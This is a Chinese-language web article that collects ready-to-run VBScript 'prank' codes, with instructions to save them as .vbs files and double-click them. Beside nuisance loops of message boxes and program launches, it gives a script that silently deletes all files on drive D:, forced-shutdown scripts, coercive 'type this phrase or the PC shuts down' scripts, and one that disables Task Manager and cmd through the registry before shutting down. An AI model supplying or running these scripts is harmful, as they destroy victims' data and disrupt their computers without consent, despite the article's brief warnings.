VBS是是:Microsoft Visual Basic Script Edition。(微軟公司可視化BASIC腳本版),在平時我們可以利用VBS做很多事情,當然瞭要熟悉VBS代碼自己制作還是挺難的,不過對於使用現成的VBS代碼制作VBS文件還是很簡單的,很多朋友想要一些VBS整人代碼,下面小編就整理瞭一些。
註意:一些VBS整人代碼會引起不適,並且部分代碼有高危害性,會刪除電腦文件的一定要慎用!
VBS制作方法
1、在記事本中粘貼VBS代碼;
2、另存為VBS文件,雙擊即可運行。
VBS整人代碼大全:
一、做我女朋友嗎,告白(抖音裡很火的)無危害
msgbox("做我女朋友可以嗎?")
msgbox("房產證上寫你名")
msgbox("保大")
msgbox("我媽會遊泳")
m = MsgBox("做我女朋友好嗎?",vbOKCancel)
If m = vbOK Then Msgbox("愛你麼麼噠")
If m = vbCancel Then MsgBox "不喜歡你瞭", vbCritical
二、無限彈出,點確定繼續彈出,把www.系统知识网.com 改成你要文字。
do
msgbox “www.系统知识网.com”
loop
三、打開無數個計算器,直到死機(把calc改成別的程序也可以)
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
四、直接關機(慎用)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
五、刪除D:\所有文件(強烈建議不要用,刪除重要文件無法恢復可能會負法律責任)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
六、不斷彈出窗口
while(1)
msgbox "哈哈 你被耍瞭!"
loop
七、不斷按下alt+f4 (打開什麼就關閉什麼……)
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按500次回車(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ,500可以隨意更改)
dim s
do until s=500
s=s+1
msgbox "哥們,給我按500次回車吧",64
loop
九、關不掉的窗口
WScript.Echo("嘿,謝謝你打開我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉,這你都不知道嗎?")
WScript.Echo("怎麼才來,說~是不是不關心我")
WScript.Echo("哼,我生氣拉,等你這麼久,心都涼啦。")
WScript.Echo("小強很生氣,後果很嚴重哦。")
WScript.Echo("嘿嘿!你也會很慘滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要點上50下哦,不過會給你驚喜滴")
WScript.Echo("還剩49下,快點點哦")
WScript.Echo("還剩48下,快點,小笨蛋!")
WScript.Echo("還剩47下對,就這樣快點點!")
WScript.Echo("還剩46下。你啊就是笨,要快哦,我先不打擾你工作。")
WScript.Echo("還剩45下,記得要快哦!")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停!!!慢點,我有話要說")
WScript.Echo("還剩12下,你繼續點我就會消失滴")
WScript.Echo("還剩11下,以後就看不到我拉。555555")
WScript.Echo("還剩10下,你現在可以選擇停止!")
WScript.Echo("還剩9下。你還點啊,不要我拉?")
WScript.Echo("還剩8下,有點傷心拉,幹嘛丟棄人傢")
WScript.Echo("還剩7下。瘋瞭,你有點負意!")
WScript.Echo("還剩6下。對。你就點吧,我恨你!")
WScript.Echo("還剩5下,不明白,刪除我你就好嗎?")
WScript.Echo("還剩4下!真要刪除我?")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這麼絕情嘛,人傢是愛你的!")
WScript.Echo("還剩1下。哼,既然你這麼絕情。也別怪我無義!!!")
WScript.Echo("我本因該消失的,不過我留戀你滴芳容,上帝又給瞭一次機會。")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
十、輸入指定文字解除,否則關機
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""說我是豬,不說我是豬就一分鐘關機,不信,試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機,快撒,說 ""我是豬"" ","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行瞭嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
十一、還是需要輸入我是豬,不然關機
set ws=createobject("wscript.shell")
call shutdown(1)
do while a<>"我是豬"
a=inputbox("快在下面的框框裡輸入我是豬,否則後果自負,快輸""我是豬"" ","輸不輸","")
loop
call shutdown(2)
msgbox "早說就行瞭嘛",4096+64
msgbox"再輸一遍我是豬!",4096+64
msgbox"我是豬!",4096+64
MsgBox"最後一次!",4096+64
MsgBox"如果你很快的點過去,不看的話",4096+64
MsgBox"我就要你踩我空間的!哼!",4096+64
MsgBox"從前有座山!",4096+64
MsgBox"山裡有個廟.",4096+64
MsgBox"廟裡有個老和尚在講故事.",4096+64
ws.run"iexplore.exe http://www.系统知识网.com"
msgbox"哎呀累瞭!數綿羊哄我睡覺",4096+64
for i=1 to 100
MsgBox i&"隻綿羊",4096+64
next
msgbox"哎呀我困瞭,這次就饒過你吧,下次註意哦!",4096+64
msgbox"最後問個問題,我是不是大好人!",4096+64
if inputbox("是不是","請選擇","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
十二、輸入我是豬結束運行,否則
如果別人不輸我是豬的話就會一直點下去 點到你設定的數字
for i=1 to 100
從1到100
可以改成 20 其他的數字
解除這個VBS腳本的辦法就簡單瞭 隻是關掉任務管理器裡Wscript.exe
復制代碼 代碼如下:
set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 60
s.popup"系統將在"& 60-i &"秒後關機...",1,"系統提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
十三、
1:開機就強制自動關機
2:cmd命令打不開
3:結束任務不管用
4:F8安全模式也不管用
呵呵!聽起來是不是有點恐怖啊,我在我朋友空間裡看見也嚇瞭一跳、
代碼破解方法:就是再運行一次,就可以破解瞭,也就是第2次保存的那個VBE文件,,
PS:不要亂拿軟件去整人,發生什麼事可不要怪我啊。。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說你是傻B,我是天下第一大傻B不說寶寶,我是天下第一大傻B就一分鐘關你機,不信,試試···"" ",0 ,true
dim a
do while(a <> "寶寶,我是天下第一大傻B")
a = inputbox ("寶寶,我是天下第一大傻B,就不關機,快撒,說 ""寶寶,我是天下第一大傻B"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行瞭嘛,乖乖"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "寶寶是不是又帥啦??"
以上就是這次小編給大傢分享的VBS整人代碼大全瞭,還是老話,有危害的輕易不要使用。